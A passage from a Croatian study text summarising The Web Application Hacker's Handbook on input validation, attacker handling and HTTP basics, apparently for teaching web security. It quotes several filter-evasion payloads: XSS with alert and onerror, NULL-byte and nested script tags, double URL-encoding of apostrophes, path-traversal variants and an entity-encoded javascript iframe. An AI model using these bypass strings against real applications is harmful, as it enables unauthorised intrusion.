Ako je alert('XSS') blokiran, može se pokušati sa prompt('XSS')

Itd..

10

Izvor: The Web Application Hacker's Handbook str. 59

12

U nekim slučajevima filtri koji su napravljeni da blokiraju specifične ključne riječi mogu se

zaobići korištenjem nestandardnih znakova između izraza kako bi se poremetilo tokeniziranje

(rastavljanje) koje izvodi aplikacija.

Primjer 2:

SELECT/*foo*/korime,lozinka/*foo*/FROM/*foo*/korisnici <img%09onerror=alert(1) src=a>

Mnogi od filtra temeljenih na "crnim" listama a pogotovo onih koji su implementirani unutar

vatrozida web aplikacije je ranjivo na NULL byte napade. Zbog drugačijih načina na koji se

rukuje nizovima u izvršnim kontekstima, umetanjem NULL bajta bilo gdje prije izraza koji je

blokiran može izazvati da neki filtri prestanu procesuirati unos i zato ne identificiraju izraz.

Primjer 3:

%00<script>alert(1)</script>

2.1.5 Prihvati sve što se zna da je dobro.

11U ovom slučaju imamo "bijelu", dozvoljenu listu koja sadrži stringove ili uzorke/šablone ili

kriterije koji odgovaraju samo dobronamjernom unosu. Validacijski mehanizmi dopuštaju

podatke koji se podudaraju sa onima u "bijeloj" listi a blokiraju sve ostalo. Npr. aplikacija

prije nego što izvrši zahtjev i dohvati podatke iz baze podataka validira da li se unos sastoji

samo od brojeva i slova i da li je dugačak određen broj znakova. Ovaj način se smatra kao

jedan od učinkovitijih za rukovanje sa potencijalno opasnim unosima. Naravno nije moguće

uvijek koristiti ovakav način zaštite, jer npr. neka polja za unos imena i prezimena moraju

podržavati neke znakove, pošto npr. ime može sadržavati crtice ili apostrofe, a to opet može

biti iskorišteno za napade. Iako je vrlo učinkovit ipak niti ovaj način ne predstavlja

višenamjensko rješenje problema rukovanja unosima.

2.1.6 Saniranje

12Ovaj pristup prihvaća unos koji može biti štetan ali ga ne odbacuje nego ga sanira na

različite načine kako ne bi imao negativne i neželjene učinke. Potencijalno opasni znakovi

mogu biti uklonjeni iz podataka, ostavljajući samo ono što se zna da je sigurno, a i to se još

može kodirati i provjeriti prije samog izvršavanja. Ovakav prostupak je vrlo efektivan u borbi

protiv malicioznog unosa.

11

Izvor: The Web Application Hacker's Handbook str 60 12

Izvor: The Web Application Hacker's Handbook str. 60-61

13

2.1.7 Sigurno rukovanje podacima

13Velik broj ranjivosti web aplikacija se javlja zbog nesigurnog obrađivanja unesenih

podataka. Ranjivosti se često mogu izbjeći ne samo provjerama unosa nego osiguravanjem da

je obrada nad podacima sigurna. Moguće je koristiti sigurne programske metode koje su

dostupne za izbjegavanje uobičajenih problema. Npr. SQL injection napadi se mogu spriječiti

kroz pravilnu uporabu parametriziranih upita za pristup bazama podataka.

2.1.8 Semantičke provjere

14Napadač može izvesti napad takav da je unos validan, nije maliciozan , međutim ono što

napad može čini malicioznim su različite okolnosti pod kojima se unošeni podaci

podnose(submit-aju). Npr. napadač može pokušati doći pristupa bankovnog računa nekog

korisnika tako što promjeni identifikacijski broj (ID) računa koji se prenosi u sakrivenom

polju forme. Da bi aplikacija to spriječila mora provjeriti da li ID računa pripada korisniku

koji je podnio zahtjev za neku akciju.

2.1.9 Granica validacije

15Provjere se u današnjim aplikacijama ne smiju odvijati samo kod unosa podataka u forme, i

prilikom prijava i obrada podataka već i nad podacima i unosima unutar korisničkih profila.

Stoga nije točno:

“ the role of input validation is to clean potentially malicious data on

arrival and then pass the clean data to the trusted application. From this point

onward, the data may be trusted and processed without any further checks or

concern about possible attacks.“

Zaštiti odjednom od svih mogućih napada - je ponekad nemoguće izvesti. Npr. zaštita od

XSS-a tako da HTML kodira znak > kao &gt; i zaštita kod command injection napada tako da

se blokira unos koji sadržava & i ; znakove. Nekad je nemoguće izvesti.

13

Izvor: The Web Application Hacker's Handbook str 61 14

Izvor: The Web Application Hacker's Handbook str 61 15

Izvor: The Web Application Hacker's Handbook str 61

14

16Slika 2: Validacija podataka na različitim razinama obrade

2.1.10 Više-koračna validacija 17

Često kod mehanizama za rukovanje unosom nastupa problem kad se unesenim podacima

manipulira preko/kroz nekoliko koraka validacijske logike. Ako se tim procesom ne rukuje

pažljivo, korisnik može konstruirati takav unos da se maliciozni podaci mogu provući kroz

validacijski mehanizam. Jedan tip problem nastupa kada aplikacija pokuša sanirati unos

korisnika uklanjajuću ili kodirajući neke od znakova ili izraza. Na primjer aplikacija se može

pokušati obraniti od XSS napada tako da iz podataka koje je korisnik unio ukloni sve izraze

tipa:

<script>

Ali napadač može biti u mogućnosti da zaobiđe ovakav tip zaštite, ako unese ovakav izraz:

<scr<script>ipt>

Kada je blokirani izraz uklonjen, podaci koji ga okružuju se spoje i opet tvore maliciozan

izraz. Razlog ovome je u tome što se filtar ne koristi rekurzivno.

Slično tome, ako se obavlja više od jednog koraka validacije nad unesenim podacima

korisnika, napadač može biti u mogućnosti iskoristiti poredak ovih koraka da zaobiđe filtar.

Na primjer, aplikacija prvo rekurzivno ukloni ../ i tada rekurzivno ukloni ..\ tada se unos: ...\/

može koristiti kao napad.

16

Izvor: The Web Application Hacker's Handbook str 63 17

Izvor: The Web Application Hacker's Handbook str 64

15

2.1.10.1 Problem kanonizacije

Kada je unos poslan sa korisnikovog web preglednika, može biti kodiran na različite načine.

Te sheme kodiranja postoje kako bi obični znakovi, slova i binarni podaci mogli biti sigurno

preneseni preko HTTP protokola. Kanonizacija je proces pretvaranja ili dešifriranja podataka

u normalne znakove i slova. Ako je bilo koja kanonizacija izvršena nakon što je primijenjen

filtar za podatke unosa, napadač može biti u mogućnosti da koristi prikladnu shemu kodiranja

da zaobiđe mehanizam za validaciju.

Na primjer:

Aplikacija se može pokušati obraniti od SQL injection napada tako da blokira ulaz koji sadrži

apostrof. Ali ako je unos kanoniziran, napadač može iskoristiti dupli URL kodiranje kako bi

zaobišao filtar.

Primjer:

%2527

Kada je unos primljen, aplikacijski server dekodira URL pa unos postaje %27

Ovo ne vraća apostrof, pa je takav unos dopušten od strane aplikacijskih filtra. Ali kada

aplikacija radi daljnje URL dekodiranje, unos je pretvoren u apostrof a već je zaobišao filtar.

Ako aplikacija ukloni apostrof umjesto da ga blokira i tada izvodi daljnju kanonizaciju, tada

bi sljedeći unos mogao proći:

%%2727

Valja naglasiti kako višestruka validacija i koraci kanonizacije u ovim slučajevima se ne bi u

cijelosti trebala odvijati na poslužiteljskoj strani aplikacije. U sljedećem primjeru su kodirani

nekoliko znakova i izraza:

<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29; >

Ako serverska strana aplikacije koristi filtar za filtraciju unosa kako bi se blokirali JavaScript

izrazi i znakovi, kodirani unosi bi mogu uspješno proći. Ali ako se unos kopira u odgovor

aplikacijskog poslužitelja, neki preglednici dekodiraju src vrijednost parametra i izvršava se

ugrađeni JavaScript kod.

16

Ako serverska strana aplikacije koristi filtar za filtraciju unosa kako bi se blokirali JavaScript

izrazi i znakovi, kodirani unosi bi mogu uspješno proći. Ali ako se unos kopira u odgovor

aplikacijskog servera, neki preglednici dekodiraju src vrijednost parametra i izvršava se

ugrađeni JavaScript kod.

Osim kod standardnih shema za kodiranje koje se koriste u web aplikacijama, problemi

kanonizacije se mogu javiti u situacijama gdje neka komponenta u aplikaciji pretvara jedan

set znakova u drugi. Npr. neke tehnologije izvode automatsko sapiranje znakova na temelju

sličnosti. Znakovi >> i << se pretvore u < i >, ili Ÿ i  se pretvore u Y i A. Ovako ponašanje

često dovodi do toga da neki zabranjeni znakovi ili riječi mogu zaobići filtre.

2.2 Rukovanje napadačima 18

Kod dizajniranja i programiranja aplikacije valja pretpostaviti da će aplikacija biti meta

raznih hakerskih napada. Glavna funkcija aplikacije je da će se ona moći nositi, i reagirati na

te napade na kontroliran način. Ti mehanizmi se sastoje od sljedećeg:

Rukovanje greškama

Održavanje revizijskih logova

Obavještavanje administratora

Reakcije na napade

2.2.1 Rukovanje greškama 19

Koliko god programeri bili pažljivi prilikom provjere unesenih korisničkih podataka gotovo

je neizbježno da će se neke neočekivane pogreške pojaviti. Greške koje se mogu pojaviti od

akcija običnih korisnika se vrlo vjerojatno mogu identificirati za vrijeme testiranja aplikacije i

stoga su one uzete u obzir prilikom razvijanja aplikacije. Međutim teško je očekivati sve

moguće načine interakcije koje sa aplikacijom ima maliciozan korisnik, stoga je potrebno

očekivati još neke greške kada je aplikacija napadnuta. Ključni obrambeni mehanizam za

aplikaciju je ispravno rukovanje neočekivanim pogreškama koje se mogu pojaviti, a to

podrazumijeva i oporavak od istih te ispis odgovarajućih poruka o grešci. Aplikacija ne bi

smjela vratiti odnosno prikazati nikakve sistemski generirane poruke ili debug informacije.

18

Izvor: The Web Application Hacker's Handbook str 66 19

Izvor: The Web Application Hacker's Handbook str 66

17

Pretjerano opširna poruka o grešci može uvelike pomoći zlonamjernim korisnicima u

napredovanju njihovih napada na aplikaciju. Napadač može iskoristiti neispravno rukovanje

pogreškama da dohvati osjetljive informacije unutar same poruke o pogrešci. Iz tih poruka se

mogu otkriti različite informacije, od programskog jezika u kojem je napravljena aplikacija,

funkcija koje se koriste, baze podataka u pozadini, pa čak ponekad i imena korisnika ili

tablica unutar baze podataka, itd. Te informacije mogu pomoći napadaču da shvati kako

aplikacija funkcionira u pozadini i usmjeriti ga prema ranjivom dijelu.

Većina web programskih jezika pružaju dobru podršku za rukovanje greškama kroz try-catch

blokove i iznimke. Kod aplikacije bi trebao sadržavati ove konstrukte kako bi se „uhvatile“

specifične i one generalne greške te kako bi se njima ispravno rukovalo. Također većina

poslužitelja može biti konfigurirana da se na različite načine nosi sa greškama koje nisu

obrađene i rukovane od strane aplikacije. Primjerice prikaz poruka o pogreškama bez

informacija (uninformative error messages) i slično.

2.2.2 Održavanje revizijskih logova 20

Logovi su vrlo važni kod otkrivanja pokušaja malicioznih upada u aplikaciju. Efektivni

logovi bi trebali omogućiti vlasnicima aplikacije da shvate točno što se dešava, ako postoji,

koja ranjivost je iskorištena, da li je napadač dobio neautoriziran pristup podacima ili

napravio neku od neautoriziranih akcija i koliko je god moguće dostaviti više informacije o

identitetu uljeza odnosno napadača.

Najčešće se bilježi sljedeće:

Svi događaji koji su povezani sa autentifikacijom kao što su uspješna i neuspješna

prijava ili promjena lozinke

Ključne transakcije, kao što su uplate kreditnim karticama i prijenos novčanih

sredstava

Pokušaji pristupa koji su blokirani od strane mehanizma za kontrolu pristupa

Svaki zahtjev koji sadrži znani napadački niz znakova koji pokazuje maliciozne

namjere

U mnogim aplikacijama koje zahtijevaju visoku sigurnost, poput onih korištenih od strane

banaka, svaki zahtjev klijenta je zabilježen u potpunosti, pružajući kompletan forenzički zapis

20

Izvor: The Web Application Hacker's Handbook str 67

18

koji može biti korišten u istragama incidenata. Takvi logovi bi se trebali čuvati na sigurnim i

nezavisnim lokacijama, jer ako su slabo zaštićeni pružaju napadaču „zlatni rudnik“

informacija.

Revizijski logovi, omogućuju vlasniku aplikacije da retrospektivno istraži pokušaje napada, i

ako je moguće, poduzimanje pravnih mjera protiv počinitelja. Međutim u mnogim situacijama

poželjno je da se napravi hitna akcija u realnom vremenu kao odgovor na pokušaj napada. Na

primjer, administratori mogu blokirati IP adresu ili korisnički račun napadača. U ekstremnim

slučajevima mogu čak i privremeno onemogućiti aplikaciju dok ne istraže napad i ne

poduzmu korektivne korake.

Čak i ako je napad uspješan i upad u sustav se već dogodio, učinci se mogu ublažiti ako se u

ranoj fazi pokrene obrambena akcija.

Anomalni događaji koji se prate od strane mehanizama za dojavu najčešće uključuju sljedeće:

Uporabne anomalije kao što su velik broj zahtjeva dobivenih od samo jedne IP adrese

ili korisnika ukazuju na skriptni napad.

Poslovne anomalije kao što su neobična brojka novčanih sredstava koji se prenose sa

ili prema jednom korisničkom računu.

Zahtjevi koji sadrže poznate oblike napada.

Zahtjevi u kojima su podaci koji su sakriveni od strane normalnih korisnika

promijenjeni.

Neke od ovih funkcija postoje i mogu se osigurati kroz aplikacijske vatrozide i

proizvode/softvere za otkrivanje upada. Obično ti softveri koriste više pravila temeljnih na

potpisima i anomalijama kako bi se identificirala maliciozna uporaba aplikacije i reaktivno

blokirali maliciozni zahtjevi i obavijestili administratori. Ti proizvodi mogu tvoriti vrlo

vrijedan sloj obrane, štiteći web aplikaciju, posebno u slučajevima kada su u aplikaciji poznati

problemi ali resursi potrebni za njihovo otklanjanje nisu trenutno dostupni. Ali njihova

efektivnost je obično limitirana od činjenice da je svaka aplikacija drugačija tako da su pravila

u nekoj mjeri opća. Web aplikacijski vatrozidi su dobri u identificiranju očitih napada, gdje

napadač svakim zahtjevom šalje standardne napadačke stringove. Međutim, mnogi napadi su

19

suptilniji od toga. Na primjer, napadač je možda promijenio broj računa u sakrivenom polju

forme kako bi došao do korisničkih podataka. U tim slučajevima poslani zahtjev od strane

napadača može biti identičan onom kojeg je poslao korisnik. Ono što ga čini malicioznim jesu

okolnosti pod kojima je zahtjev napravljen. Najefektivniji način za implementaciju dojava u

stvarnom vremenu je da se taj mehanizam usko poveže i integrira sa mehanizmom za

validaciju.

2.2.3 Reagiranje na napade 21

Mnogi sustavi visoke sigurnosti sadrže ugrađene mehanizme da reagiraju defenzivno prema

onim korisnicima koji su identificirani kao maliciozni. Zbog toga što je svaka aplikacija

različita, Većina današnjih napada zahtjeva od napadača da sustavno ispituje ranjivosti

podnošenjem brojnih zahtjeva koji sadrže smišljene podatke koji bi otkrili prisutnost različitih

ranjivosti. Efektivni mehanizam validacije ulaznih podataka identificira velik dio tih

malicioznih zahtjeva i blokira ulaz podataka kako ne bi bilo neželjenih posljedica po

aplikaciju. Međutim, logično je pretpostaviti da će neki podaci zaobići filtre i da aplikacija

sadrži neke ranjivosti koje čekaju da budu nađene i iskorištene. Vrlo je vjerojatno da će

napadač koji sistematično napada aplikaciju pronaći takve ranjivosti. Iz tog razloga aplikacije

koriste mjere za automatsku reakciju kako bi osujetile aktivnosti napadača koji djeluje na

ovakav način. Na primjer, u tim slučajevima aplikacija bi sve sporije reagirala na zahtjeve

napadača ili bi prekinula napadačevu sesiju, što bi zahtijevalo od napadača da se ponovno

prijavi ili napravi neke druge korake prije nego što može nastaviti sa napadom. Iako takve

mjere neće u potpunosti obraniti od strpljivih i odlučnih napadača, umanjiti će veliki broj

uobičajenih napadača i dat će više vremena napadačima kako bi nadgledali situaciju i ako je

potrebno poduzeli i drastičnije korake.

2.2.4 Upravljanje aplikacijom 22

Svaka korisna aplikacija treba biti upravljana i administrirana, i to obično tvori ključan dio

sigurnosnih mehanizama aplikacije. Jer pruža način da administratori upravljaju korisničkim

računima i grupama, nadgledanja pristupa, funkcije bilježenja, izvršavaju dijagnostičke

zadatke i sl. U mnogim aplikacijama administrativne funkcije su implementirane u samu

aplikaciju, i može im se pristupiti kroz isto web sučelje kao što imaju i obični korisnici. U tom

slučaju je to ujedno i najzanimljivije i najučestalije mjesto napada za napadače jer može

napadačima omogućiti mnoge privilegije.

21

Izvor: The Web Application Hacker's Handbook str 70 22

Izvor: The Web Application Hacker's Handbook str 71

20

Na primjer:

Slabosti u autentifikacijskom mehanizmu mogu omogućiti napadaču da dobije

administrativni pristup ugrožavajući na taj način cijelu aplikaciju.

Mnoge aplikacije ne implementiraju efektivnu kontrolu pristupa nekih svojih

administrativnih funkcija. Napadač može pronaći načine kreiranja novog korisničkog

računa sa visokim privilegijama.

Administrativna funkcionalnost je često podvrgnuta manje rigoroznom sigurnosnom

testiranju, jer se smatra da se korisnicima vjeruje, ili zbog toga što su penetracijski

testeri dali pristup samo nisko privilegiranim računima. Često neke funkcionalnosti

trebaju obavljati opasne operacije kao što su pristup podacima na disku ili sistemskim

naredbama. Ako napadač može ugroziti administrativnu funkciju, često je moguće da

to iskoristi kako bi preuzeo kontrolu nad čitavim poslužiteljem.

Administrativne funkcionalnosti često uključuju prikazivanje podataka koji potječu od

običnih korisnika. Bilo koja XSS ranjivost unutar administrativnog sučelja može

ugroziti korisničku sesiju koja ima visoke privilegije.

3 HTTP protokol 23

Hypertext transfer protocol (HTTP) je temeljni komunikacijski protokol koji se koristi za

pristup webu, i koriste ga sve današnje web aplikacije. To je jednostavan protokol koji je

isprva bio namijenjen za dohvaćanje statičkih tekstualnih resursa. U međuvremenu se proširio

i iskoristio na razne načine kako bi podržao kompleksne distribuirane aplikacije koje su sada

uobičajene. HTTP koristi model temeljen na porukama u kojem klijent šalje poruku zahtjeva a

server uzvraća porukom odgovora.

3.1 HTTP Request

24Sve HTTP poruke(i zahtjevi i odgovori) se sastoje od jednog ili više zaglavlja, svaki u

odvojenoj liniji, nakon toga dolazi obavezna prazna linija i nakon toga slijedi tijelo poruke.

GET /auth/488/detalji.ashx?uid=129 HTTP/1.1 Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/x-

shockwaveflash, */*

23

Izvor: The Web Application Hacker's Handbook str 75 24

Izvor: The Web Application Hacker's Handbook str 76

21

Referer: https://mdsec.net/auth/488/Home.ashx Accept-Language: en-GB User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; InfoPath.3; .NET4.0E; FDM; .NET CLR 1.1.4322) Accept-Encoding: gzip, deflate Host: mdsec.net Connection: Keep-Alive Cookie: SessionId=5B70C71F3FD4968935CDB6682E545476

Prva linija svakog HTTP zahtjeva se sastoji od tri dijela odvojenih prazninama.

Glagol koji označuje HTTP metodu. Najčešće korištena metoda je GET, čija je

funkcija da preuzme resurs sa web servera. GET zahtjev nema tijela poruke.

URL zahtjeva – URL je obično naziv za resurs koji je zatražen zajedno sa dodatnim

upitnim nizom koji sadrži parametre koje klijent prenosi do tog resursa. Upitni niz je

označen sa ? znakom unutar URL-a.

Verzija HTTP-a koja se koristi. Jedine verzije HTTP-a koje se uobičajeno koriste na

Internetu su 1.0 i 1.1. Većina preglednika koristi verziju 1.1. Postoji nekoliko razlika

između specifikacija ovih dviju verzija; ali jedina razlika koja najčešće susreće kod

napada na web aplikacije je ona u verziji 1.1 a to je obavezan Host zahtjev.

Zaglavlje Referer se koristi da bi ukazalo na URL formu iz koje se pokreće zahtjev

User-Agent zaglavlje se koristi da bi se dobile informacije o web pregledniku ili

nekom drugom softveru koji je stvorio zahtjev. Većina preglednika uključuju Mozzila

prefiks iz nekih povijesnih razloga. Taj niz se prije koristio od strane dominantnih

Netscape preglednika, te su ostali preglednici željeli istaknuti da su i oni kompatibilni

sa ovim standardom.

Host zaglavlje specificira ime računala koje se pojavi u cijelom URL-u koji se

dohvaća. Ovo je potrebno kada se više web stranica nalaze na istom web poslužitelju,

jer URL koji je poslan u prvoj liniji zahtjeva obično ne sadrži ime računala.

Cookie zaglavlje se koristi kako bi se podnijeli dodatni parametri koje je poslužitelj

izdao klijentu.

22

3.2 HTTP Response 25

Tipičan HTTP odgovor izgleda ovako:

HTTP/1.1 200 OK Date: Tue, 19 Apr 2011 09:23:32 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc X-AspNet-Version: 2.0.50727 Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1067 <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http:// www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”><html xmlns=”http:// www.w3.org/1999/xhtml” ><head><title>Your details</title> ...

Prva linija svakoga HTTP odgovora sastoji se od tri stavke odvojene prazninama.

Verzija HTTP-a

Status koji pokazuje rezultat zahtjeva. 200 je najuobičajeniji status; znači da je zahtjev

bio uspješan i da je dobiveno ono što se traži.

Tekstualna fraza koja opisuje status odgovora. Ovo može biti bilo koja vrijednost i

trenutno se ne koristi od strane web preglednika.

Server zaglavlje sadrži informacije o softveru kojeg koristi poslužitelj i ponekad još

neke detalje kao što su instalirani moduli i operativni sustav koji koristi server. Ovi

podaci i mogu i ne moraju biti precizni i točni.

Set-Cookie zaglavlje izdaje pregledniku daljnje cookie-e; ovo se nazad podnosi u

Cookie zaglavlju sljedećih zahtjeva prema poslužitelju.

Pragma zaglavlje upućuje preglednike da ne pohranjuju odgovor u svoju privremenu

(cache) memoriju.

Expires zaglavlje ukazuje da je sadržaju dogovora istekao rok i da je zastario i da se ne

bi smio spremiti u privremenu memoriju. Ovo se često koristi kada se u odgovoru šalje

dinamički sadržaj pa se želi osigurati da web preglednici u naknadnim situacijama

dobe novu inačicu sadržaja.

Gotovo svi HTTP odgovori sadrže tijelo poruke nakon zaglavlja. Content-Type

zaglavlje ukazuje da tijelo poruke sadrži HTML dokument.

Content-Length zaglavlje pokazuje dužinu poruke u tijelu izraženu u bajtima.

25

Izvor: The Web Application Hacker's Handbook str 77

23

3.3 Generalna zaglavlja

Postoje još mnoga druga zaglavlja koja se koriste a nisu navedena, primjerice:

Connection govori drugoj strani u komunikaciji dali da zatvori TCP konekciju nakon

što je završen HTTP prijenos završen ili da ju drži otvorenu za daljnje poruke.

Content Encoding – specificira koja vrsta kodiranja se koristi za sadržaj koji se nalazi

unutar tijela poruke kao što je gzip, koji se koristi od strane nekih aplikacija kako bi se

kompresirali odgovori radi bržeg prijenosa.

Transfer-Encoding – specificira bilo koje kodiranje koje je izvršeno na tijelu poruke

kako bi se olakšao njezin prijenos putem HTTP-a. Najčešće specificira kodiranje

blokova

3.3.1 Dodatna zaglavlja zahtjeva

Accept zaglavlje daje informacije serveru o vrsti sadržaj koju je klijent voljan

prihvatiti., kao što su tipovi slika, formati dokumenata itd.

Accept-Encoding zaglavlje daje informacije poslužitelju koje tipove kodiranja je

klijent voljan prihvatiti.

Authorization zaglavlje podnaša korisničke podatke poslužitelju za neke od ugrađenih

autentifikacijskih mehanizama.

If-Modified-Since specificira kada je preglednik zadnji puta primio traženi resurs. Ako

je resurs nepromijenjen od toga vremena, poslužitelj može narediti klijentu da koristi

svoju kopiju koja je spremljena u pomoćnoj memoriji, i tada koristi odgovor sa

statusnim kodom 304.

If-None-Match specificira entity tag, koji je identifikator koji označava sadržaj tijela

poruke. Preglednik podnosi entity tag kojeg je poslužitelj izdao zajedno sa traženim

resursom kada je zadnji puta dobiven. Pomoću entity tag-a poslužitelj može utvrditi da

li je preglednik koristio kopiju resursa koja se nalazi u pomoćnoj memoriji.

Origin zaglavlje se koristi u više domenskim Ajax zahtjevima da pokaže domenu iz

koje zahtjev potječe.

24

3.3.2 Dodatna zaglavlja odgovora

Access-Control-Allow-origin – pokazuje da li se resurs može dohvatiti putem Ajax zahtjeva

kroz više domena.

Cache-Control – prosljeđuje pregledniku direktive o radu sa pomoćnom memorijom. Npr.

No-cache.

ETag – Specificira entitiy tag. Klijenti mogu podnositi ovaj identifikator u budućim

zahtjevima za istim resursom unutar If-None-Match zaglavlja kako bi obavijestili poslužitelj

koju verziju resursa trenutno preglednik trenutno sadrži u svojoj cache(pomoćna) memoriji.

Location zaglavlje se koristi u odgovorima (onima kojima statusni kod počinje sa 3)

preusmjeravanja da se odredi cilj preusmjeravanja.

WWW-Authenticate zaglavlje se koristi u odgovorima koji imaju statusni kod 401 kako bi se

prikupili detalji o tipu autentifikacije koju poslužitelj podržava.

X-Frame-Options zaglavlje pokazuje da li i kako se trenutni odgovor može učitati unutar

preglednikova okvira.

3.4 26HTTP metode: Postoje sljedeće HTTP metode:

GET

POST

TRACE

HEAD

OPTIONS

PUT

I dr.

U praksi se najviše koriste GET i POST, dok se ostale metode koriste vrlo rijetko ili se uopće

ne koriste, a neke niti nisu podržane od strane preglednika.

26

Izvor: The Web Application Hacker's Handbook str 78

25

3.5 Cookie

27Cookie-i su dio HTTP protokola na koji se Većina web aplikacija oslanja. Često mogu biti

korišteni kao sredstvo za iskorištavanje ranjivosti. Cookie mehanizam omogućuje poslužitelju

da šalje podatke klijent, koje klijent sprema i ponovno ih šalje poslužitelju. Za razliku od

ostalih tipova parametara u zahtjevu, cookie-i se nastavljaju ponovno slati poslužitelju u

svakom novom zahtjevu bez ikakve potrebne akcije od strane korisnika aplikacije.

Poslužitelj izdaje cookie-e koristeći Set-Cookie zaglavlje:

Set-Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

Korisnikov preglednik automatski nadodaje sljedeće zaglavlje na buduće zahtjeve prema tom

istom poslužitelju:

Cookie: tracking=tI8rk7joMx44S2Uu85nSWc

Cookie-i se uobičajeno sastoje od imena i vrijednosti ali isto tako mogu se sastojati od bilo

kojeg znakovnog niza koji ne sadrži razmak. Više cookie-a se može izdati koristeći više Set-

Cookie zaglavlja u odgovoru poslužitelja. Šalju se natrag do poslužitelja u istom Cookie

zaglavlju odvojeni točkom zarez (;)

Osim vrijednosti samog Cookie-a, Set-Cookie zaglavlje može sadržavati bilo koji od sljedećih

opcionalnih atributa, koji se mogu koristiti za kontrolu kako preglednik rukuje sa cookie-

ijima:

expires postavlja datum do kojeg je cookie validan. To omogućuje pregledniku

da pohrani cookie i koristi ga u narednim sesijama sve do datuma isteka. Ako

ovaj parametar nije upotrjebljen tada je cookie validan samo za trenutnu

sesiju.

domain specificira domenu za koju je cookie validan. Domena mora biti ista ili

mora biti domena-roditelj domene iz koje je cookie primljen.

paths specificira putanju URL-a za koju je cookie validan.

secure – ako je postavljen, cookie će se slati samo u HTTPS zahtjevima.

HttpOnly – ako je ovaj atribut postavljen, cookie-u se ne može pristupiti putem

JavaScript-a na strani klijenta.

Svaki od ovih cookie atributa mogu imati utjecaj na sigurnost aplikacije.

27

Izvor: The Web Application Hacker's Handbook str 83

26

3.6 Statusni kodovi 28

Svaki HTTP odgovor u prvoj liniji mora sadržavati statusni kod, koji pokazuje rezultat

zahtjeva. Statusni kodovi su podijeljeni prema prvoj znamenci koda u 5 grupa:

1xx - Informativne

2xx – Zahtjev je bio uspješan

3xx – Klijent je preusmjeren na drugi resurs

4xx – Zahtjev sadrži neki tip greške

5xx – Server je naišao na grešku dok je ispunjavao zahtjev

Postoje mnogi specifični statusni kodovi, koji se koriste samo u specijalnim slučajevima.

Sljedeći statusni kodovi se najčešće pojavljuju kod napada na web aplikacije:

100 Continue se pojavi u nekim slučajevima kada klijent podnese zahtjev koji sadrži

tijelo. Odgovor ukazuje da je zaglavlje zahtjeva primljeno i da bi klijent trebao

nastaviti sa slanjem tijela. Poslužitelj vraća drugi odgovor kada je zahtjev završen u

cijelosti.

200 Ok ukazuje da je zahtjev uspješan i da je tijelo odgovora sadrži rezultat zahtjeva.

201 Created se pojavi u odgovoru kada je u zahtjevu primljen PUT, i ukazuje na to da

je zahtjev uspješan.

301 Moved Permanently trajno preusmjerava preglednik na drugi URL, koji je

specificiran unutar Location zaglavlja. Klijent bi u budućnosti trebao koristiti novi

URL a ne onaj prvobitni.

302 Found privremeno preusmjerava preglednik na drugi URL, koji je specificiran u

zaglavlju Location. Klijent bi se trebao u narednim zahtjevima trebao vratiti na

originalan URL.

304 Not Modified upućuje preglednik da koristi kopiju resursa iz zahtjeva spremljenog

unutar svoje pomoćne memorije. Poslužitelj koristi If-Modified-Since i If-None-Match

zaglavlja zahtjeva da bi odredio da li klijent ima zadnju verziju resursa.

28

Izvor: The Web Application Hacker's Handbook str 85

27

400 Bad Request ukazuje da je klijent podnio nevažeći HTTP zahtjev. To se najčešće

događa, kada se zahtjev mijenja na pogrešan način, kao što je umetanje razmaka

unutar URL-a.

401 Unauthorized ukazuje da poslužitelj zahtjeva HTTP autentifikaciju prije nego što

će zahtjev biti odobren. WWW-Authenticate zaglavlje sadrži detalje o tipu

atuentifikacije koji je podržan.

403 Forbidden ukazuje da nikome nije dopušten pristup prema resursu zahtjeva, bez

obzira na autentifikaciju.

404 Not Found ukazuje da zahtijevani resurs ne postoji.

405 Method Not Allowed ukazuje da metoda koja se koristi u zahtjevu nije podržana

za određen URL. Na primjer, ovaj status se može pojaviti ako se koristi PUT metoda

tamo gdje nije podržana.

413 Request Entity Too Large – Ako se ispituju ranjivosti prelijevanja međuspremnika

(buffer overflow) u izvornom kodu i koriste se dugački nizovi podataka, to znači da je

tijelo zahtjeva preveliko da bi poslužitelj mogao obraditi.

414 Request URI Too Long je sličan statusu 413. Ukazuje na to da je URL koji se

koristi u zahtjevu prevelik da bi ga poslužitelj mogao obraditi

500 Internl Server Error ukazuje da je server naišao na grešku dok je ispunjavao

zahtjev. Ovo se pojavljuje kada se podnese neočekivani unos koji uzrokuje grešku

negdje u procesu obrade unutar aplikacije. Poželjno je pomno promotriti cijeli sadržaj

odgovora poslužitelja ne bi li se uočili neki detalji koji bi ukazivali na informacije o

grešci.

503 Service Unavailable obično ukazuje na to da iako poslužitelj funkcionira i može

odgovarati na zahtjeve, aplikacija kojoj se pristupa putem poslužitelja ne reagira. Ovo

stanje može biti rezultat neke izvršene akcije.

28

3.7 HTTP autentifikacija 29

HTTP protokol sadrži vlastite mehanizme za autentifikaciju korisnika koristeći različite

autentifikacijske sheme:

Basic je jednostavan autentifikacijski mehanizam koji sa svakom porukom šalje

korisničke podatke kao Base64 kriptiran niz unutar zaglavlja zahtjeva.

NTLM je "challenge-response" mehanizam koji koristi verziju NTLM Windows

protokola.

Digest je "challenge-response" mehanizam koji koristi MD5

3.7.1 URL kodiranje

URL-ovi mogu sadržavati samo printabilne znakove u US-ASCII setu znakova; a to znači

znakove koji su u rasponu od 0x20 do 0x7e. Nekoliko znakova unutar raspona je zabranjeno

jer imaju specijalno značenje unutar URL sheme ili unutar HTTP protokola.

URL encoding shema se koristi za kodiranje bilo kojeg problematičnog znaka unutar

proširenog ASCII seta znakova tako da se mogu sigurno transportirati putem HTTP protokola.

Kodiranje bilo kojeg znaka se sastoji od % prefiksa iza kojeg slijedi dvoznamenkasti ASCII

kod znaka prikazan u heksadecimalnom zapisu. Primjer znakova koji se često kodiraju:

